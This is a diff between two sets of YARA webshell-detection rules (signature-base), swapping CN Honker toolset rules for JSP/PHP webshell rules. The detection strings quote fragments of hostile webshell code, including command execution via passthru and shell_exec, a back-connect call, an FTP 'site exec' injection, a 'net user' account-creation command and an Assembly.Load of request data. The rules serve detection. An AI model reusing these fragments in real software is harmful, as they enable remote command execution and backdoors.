-		description = "Webshell from CN Honker Pentest Toolset - file hy2006a.txt"
+		description = "Web Shell - from files he1p.jsp, JspSpy.jsp, nogfw.jsp, ok.jsp, style.jsp, 1.jsp, JspSpy.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "115651d3-63e1-58e3-b27c-42271111bb91"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L725-L740"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "20da92b2075e6d96636f883dcdd3db4a38c01090"
-		logic_hash = "a24bf11a2728bb8d18ea005b057648770956694e0b257d4464ad15ee3e24eda2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2883-L2906"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "522ba5f797e33c27fef3ae8d89889c31799073ed3c770a49401f4d42ead04640"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash1 = "d71716df5042880ef84427acee8b121e"
+		hash2 = "344f9073576a066142b2023629539ebd"
+		hash3 = "32dea47d9c13f9000c4c807561341bee"
+		hash4 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash5 = "3ea688e3439a1f56b16694667938316d"
+		hash6 = "2434a7a07cb47ce25b41d30bc291cacc"
 
 	strings:
-		$s15 = "Const myCmdDotExeFile = \"command.com\"" fullword ascii
-		$s16 = "If LCase(appName) = \"cmd.exe\" And appArgs <> \"\" Then" fullword ascii
+		$s0 = "\"\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>\"+" fullword
+		$s4 = "out.println(\"<h2>File Manager - Current disk &quot;\"+(cr.indexOf(\"/\") == 0?"
+		$s7 = "String execute = f.canExecute() ? \"checked=\\\"checked\\\"\" : \"\";" fullword
+		$s8 = "\"<td nowrap>\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>"
 
 	condition:
-		filesize <406KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php1 : FILE
+rule SIGNATURE_BASE_Webshell_000_403_C5_Config_Myxx_Querydong_Spyjsp2010_Zend
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file php1.txt"
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, config.jsp, myxx.jsp, queryDong.jsp, spyjsp2010.jsp, zend.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5fe78cc6-8be3-595f-a082-e361259938e5"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L742-L758"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c2f4b150f53c78777928921b3a985ec678bfae32"
-		logic_hash = "aadf47ac6231b41e720efdd85c481ebac8fccb572e57b86b27a95dd367c0d81b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2907-L2930"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7ca710973592718c5455508c5798b3c51dce994d5ebd33aa3a59d1b03c096bdf"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash4 = "e0354099bee243702eb11df8d0e046df"
+		hash5 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash6 = "655722eaa6c646437c8ae93daac46ae0"
+		hash7 = "591ca89a25f06cf01e4345f98a22845c"
 
 	strings:
-		$s7 = "$sendbuf = \"site exec \".$_POST[\"SUCommand\"].\"\\r\\n\";" fullword ascii
-		$s8 = "elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_c" ascii
-		$s18 = "echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport" ascii
+		$s0 = "return new Double(format.format(value)).doubleValue();" fullword
+		$s5 = "File tempF = new File(savePath);" fullword
+		$s9 = "if (tempF.isDirectory()) {" fullword
 
 	condition:
-		filesize <621KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Jspshell2 : FILE
+rule SIGNATURE_BASE_Webshell_C99_C99Shell_C99_C99Shell
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file jspshell2.txt"
+		description = "Web Shell - from files c99.php, c99shell.php, c99.php, c99shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ff72f94b-1c0a-5615-b35f-35f69c920292"
-		date = "2015-06-23"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L760-L775"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cc7bc1460416663012fc93d52e2078c0a277ff79"
-		logic_hash = "3a60991fa557655fbd2450739976ac612a0ea2a3df22873382b05438cac12762"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2931-L2949"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b999b1a8307e228fb97772799369e292fb806d614159f2b2abfc7a71c5bdb225"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
+		hash2 = "157b4ac3c7ba3a36e546e81e9279eab5"
+		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
 
 	strings:
-		$s10 = "if (cmd == null) cmd = \"cmd.exe /c set\";" fullword ascii
-		$s11 = "if (program == null) program = \"cmd.exe /c net start > \"+SHELL_DIR+\"/Log.txt" ascii
+		$s2 = "$bindport_pass = \"c99\";" fullword
+		$s5 = " else {echo \"<b>Execution PHP-code</b>\"; if (empty($eval_txt)) {$eval_txt = tr"
 
 	condition:
-		filesize <424KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Tuoku_Script_Mysql : FILE
+rule SIGNATURE_BASE_Webshell_R57Shell127_R57_Ifx_R57_Kartal_R57_Antichat
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file mysql.aspx"
+		description = "Web Shell - from files r57shell127.php, r57_iFX.php, r57_kartal.php, r57.php, antichat.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fa0627fb-a40c-5856-ae78-17d33910878f"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L777-L791"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8e242c40aabba48687cfb135b51848af4f2d389d"
-		logic_hash = "bde2ea1ccfc88138456a1b255a32a7323f5ef0f677499db6dc6670987cc37585"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2950-L2971"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "23887963068f7dd2e4c85b11079276a00786d1a753f22e3b63f01139087a7f4c"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "ae025c886fbe7f9ed159f49593674832"
+		hash1 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash2 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash3 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash4 = "3f71175985848ee46cc13282fbed2269"
 
 	strings:
-		$s1 = "txtpassword.Attributes.Add(\"onkeydown\", \"SubmitKeyClick('btnLogin');\");" fullword ascii
-		$s2 = "connString = string.Format(\"Host = {0}; UserName = {1}; Password = {2}; Databas" ascii
+		$s6 = "$res   = @mysql_query(\"SHOW CREATE TABLE `\".$_POST['mysql_tbl'].\"`\", $d"
+		$s7 = "$sql1 .= $row[1].\"\\r\\n\\r\\n\";" fullword
+		$s8 = "if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }" fullword
+		$s9 = "foreach($values as $k=>$v) {$values[$k] = addslashes($v);}" fullword
 
 	condition:
-		filesize <202KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php9 : FILE
+rule SIGNATURE_BASE_Webshell_NIX_REMOTE_WEB_SHELL_Nstview_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file php9.txt"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c8cbee10-78ea-5a6f-9c80-7e51a9c38440"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L793-L807"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cd3962b1dba9f1b389212e38857568b69ca76725"
-		logic_hash = "bea117862ebc9220a4d9aee091c808274f9907fceb83b528055998ddcc90aa5f"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2972-L2991"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b10e89c6b1851f88a2bbb9116969ea3770366c162b911cb8a2c3a033da3a46bc"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
+		hash1 = "4745d510fed4378e4b1730f56f25e569"
+		hash2 = "f3ca29b7999643507081caab926e2e74"
+		hash3 = "46a18979750fa458a04343cf58faa9bd"
 
 	strings:
-		$s1 = "Str[17] = \"select shell('c:\\windows\\system32\\cmd.exe /c net user b4che10r ab" ascii
+		$s3 = "BODY, TD, TR {" fullword
+		$s5 = "$d=str_replace(\"\\\\\",\"/\",$d);" fullword
+		$s6 = "if ($file==\".\" || $file==\"..\") continue;" fullword
 
 	condition:
-		filesize <1087KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Portrecall_Jsp : FILE
+rule SIGNATURE_BASE_Webshell_000_403_807_A_C5_Config_Css_Dm_He1P_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file jsp.txt"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cd34cb47-c5e0-5094-a501-6a8a00d94018"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L809-L823"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "65e8e4d13ad257c820cad12eef853c6d0134fce8"
-		logic_hash = "98f279c3e50308f67f88ecf8459943187ea152664fe0206c4a7d3435242df2a6"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2992-L3042"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "46eede3a1af29e344ed5107fc0af4bd13cd1492bff340d61063911bbb474e7b3"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash9 = "d71716df5042880ef84427acee8b121e"
+		hash10 = "341298482cf90febebb8616426080d1d"
+		hash11 = "29aebe333d6332f0ebc2258def94d57e"
+		hash12 = "42654af68e5d4ea217e6ece5389eb302"
+		hash13 = "88fc87e7c58249a398efd5ceae636073"
+		hash14 = "4a812678308475c64132a9b56254edbc"
+		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash16 = "e0354099bee243702eb11df8d0e046df"
+		hash17 = "344f9073576a066142b2023629539ebd"
+		hash18 = "32dea47d9c13f9000c4c807561341bee"
+		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash20 = "655722eaa6c646437c8ae93daac46ae0"
+		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash22 = "6acc82544be056580c3a1caaa4999956"
+		hash23 = "6aa32a6392840e161a018f3907a86968"
+		hash24 = "591ca89a25f06cf01e4345f98a22845c"
+		hash25 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash26 = "3ea688e3439a1f56b16694667938316d"
+		hash27 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash28 = "71097537a91fac6b01f46f66ee2d7749"
+		hash29 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash30 = "7a4b090619ecce6f7bd838fe5c58554b"
 
 	strings:
-		$s0 = "lcx.jsp?localIP=202.91.246.59&localPort=88&remoteIP=218.232.111.187&remotePort=2" ascii
+		$s3 = "String savePath = request.getParameter(\"savepath\");" fullword
+		$s4 = "URL downUrl = new URL(downFileUrl);" fullword
+		$s5 = "if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))" fullword
+		$s6 = "String downFileUrl = request.getParameter(\"url\");" fullword
+		$s7 = "FileInputStream fInput = new FileInputStream(f);" fullword
+		$s8 = "URLConnection conn = downUrl.openConnection();" fullword
+		$s9 = "sis = request.getInputStream();" fullword
 
 	condition:
-		filesize <1KB and all of them
+		4 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Aspx3 : FILE
+rule SIGNATURE_BASE_Webshell_2_520_Icesword_Job_Ma1
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file aspx3.txt"
+		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4f835136-744a-5324-a1f4-02d1cfa2cab6"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L825-L840"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dd61481771f67d9593214e605e63b62d5400c72f"
-		logic_hash = "11bf511ee70ff4bde0a9320cb80dd9efa0f437d432c78a859153cfcc8e80db01"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3043-L3063"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "795eb586310d87a3c6b53117bf2c8cbcfadcb177f5a5129c17fd21f0b64c385c"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
+		hash3 = "56c005690da2558690c4aa305a31ad37"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
 
 	strings:
-		$s0 = "Process p1 = Process.Start(\"\\\"\" + txtRarPath.Value + \"\\\"\", \" a -y -k -m" ascii
-		$s12 = "if (_Debug) System.Console.WriteLine(\"\\ninserting filename into CDS:" ascii
+		$s1 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"></head>" fullword
+		$s3 = "<input type=\"hidden\" name=\"_EVENTTARGET\" value=\"\" />" fullword
+		$s8 = "<input type=\"hidden\" name=\"_EVENTARGUMENT\" value=\"\" />" fullword
 
 	condition:
-		filesize <100KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Shell_Shell : FILE
+rule SIGNATURE_BASE_Webshell_404_Data_In_Jfolder_Jfolder01_Jsp_Suiyue_Warn
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file shell.aspx"
+		description = "Web Shell - from files 404.jsp, data.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, suiyue.jsp, warn.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8fbcae22-07b7-5afe-9f15-06e2f426b5ca"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L842-L857"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1816006827d16ed73cefdd2f11bd4c47c8af43e4"
-		logic_hash = "ac22d89353b4316289bf6c6e13332ac401f4b57f6c29b71861cb48359c1e55f9"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3064-L3088"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5e0da29499d76539fb1f5cfbe0a00331eeb0bb8fa861f2e2d686130ee4939fac"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash3 = "8979594423b68489024447474d113894"
+		hash4 = "ec482fc969d182e5440521c913bab9bd"
+		hash5 = "f98d2b33cd777e160d1489afed96de39"
+		hash6 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
+		hash7 = "e9a5280f77537e23da2545306f6a19ad"
 
 	strings:
-		$s0 = "<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cook" ascii
-		$s1 = "<%@ Page Language=\"C#\" ValidateRequest=\"false\" %>" fullword ascii
+		$s0 = "<table width=\"100%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" bordercol"
+		$s2 = " KB </td>" fullword
+		$s3 = "<table width=\"98%\" border=\"0\" cellspacing=\"0\" cellpadding=\""
+		$s4 = "<!-- <tr align=\"center\"> " fullword
 
 	condition:
-		filesize <1KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell__Php1_Php7_Php9 : FILE
+rule SIGNATURE_BASE_Webshell_Phpspy_2005_Full_Phpspy_2005_Lite_Phpspy_2006_PHPSPY
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - from files php1.txt, php7.txt, php9.txt"
+		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, phpspy_2006.php, PHPSPY.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cfc2f624-976f-5ff6-bd07-10948b9290bc"
-		date = "2015-06-23"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L859-L878"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6ea5b362f8d8f2e99725d4dd4d2ada5c3939a45a3dde0084571600452ab4673c"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3090-L3110"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fc47a50c5964574fb9b9caf3fb94041f028998577bf4ccf21884a41fa1876572"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 		super_rule = 1
-		hash0 = "c2f4b150f53c78777928921b3a985ec678bfae32"
-		hash1 = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
-		hash2 = "cd3962b1dba9f1b389212e38857568b69ca76725"
+		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash2 = "40a1f840111996ff7200d18968e42cfe"
+		hash3 = "0712e3dc262b4e1f98ed25760b206836"
 
 	strings:
-		$s1 = "<a href=\"?s=h&o=wscript\">[WScript.shell]</a> " fullword ascii
-		$s2 = "document.getElementById('cmd').value = Str[i];" fullword ascii
-		$s3 = "Str[7] = \"copy c:\\\\\\\\1.php d:\\\\\\\\2.php\";" fullword ascii
+		$s4 = "http://www.4ngel.net" fullword
+		$s5 = "</a> | <a href=\"?action=phpenv\">PHP" fullword
+		$s8 = "echo $msg=@fwrite($fp,$_POST['filecontent']) ? \"" fullword
+		$s9 = "Codz by Angel" fullword
 
 	condition:
-		filesize <300KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell__Serv_U_By_Goldsun_Asp3_Serv_U_Asp : FILE
+rule SIGNATURE_BASE_Webshell_C99_Locus7S_C99_W4Cking_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - from files Serv-U_by_Goldsun.asp, asp3.txt, Serv-U asp.txt"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e91e05e8-0f6d-57a7-a649-a834733f17c8"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L880-L899"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b733e80f234a85a4f65eedd94f535860b4da464adb80a91afc547a8d96b5dc7a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3111-L3140"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4afadac41e729f77711eb3ea3ee8f6e8ce61e19294e90db024e5334e214d9647"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 		super_rule = 1
-		hash0 = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
-		hash1 = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
-		hash2 = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
+		hash0 = "38fd7e45f9c11a37463c3ded1c76af4c"
+		hash1 = "9c34adbc8fd8d908cbb341734830f971"
+		hash2 = "ef43fef943e9df90ddb6257950b3538f"
+		hash3 = "ae025c886fbe7f9ed159f49593674832"
+		hash4 = "911195a9b7c010f61b66439d9048f400"
+		hash5 = "697dae78c040150daff7db751fc0c03c"
+		hash6 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash7 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash8 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash9 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash10 = "b8f261a3cdf23398d573aaf55eaf63b5"
+		hash11 = "0d2c2c151ed839e6bafc7aa9c69be715"
+		hash12 = "41af6fd253648885c7ad2ed524e0692d"
+		hash13 = "6fcc283470465eed4870bcc3e2d7f14d"
 
 	strings:
-		$s1 = "c.send loginuser & loginpass & mt & deldomain & quit" fullword ascii
-		$s2 = "loginpass = \"Pass \" & pass & vbCrLf" fullword ascii
-		$s3 = "b.send \"User go\" & vbCrLf & \"pass od\" & vbCrLf & \"site exec \" & cmd & vbCr" ascii
+		$s1 = "$res = @shell_exec($cfe);" fullword
+		$s8 = "$res = @ob_get_contents();" fullword
+		$s9 = "@exec($cfe,$res);" fullword
 
 	condition:
-		filesize <444KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell__Asp4_Asp4_MSSQL__MSSQL_ : FILE
+rule SIGNATURE_BASE_Webshell_Browser_201_3_Ma_Ma2_Download
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - from files asp4.txt, asp4.txt, MSSQL_.asp, MSSQL_.asp"
+		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, ma2.jsp, download.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e0070f0d-35d0-5024-88e7-e0e04b29f485"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L901-L921"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a8ec5ad87c83c16f47391c3ce08cee74c6be1e42c288eec6d1559867d28489c6"
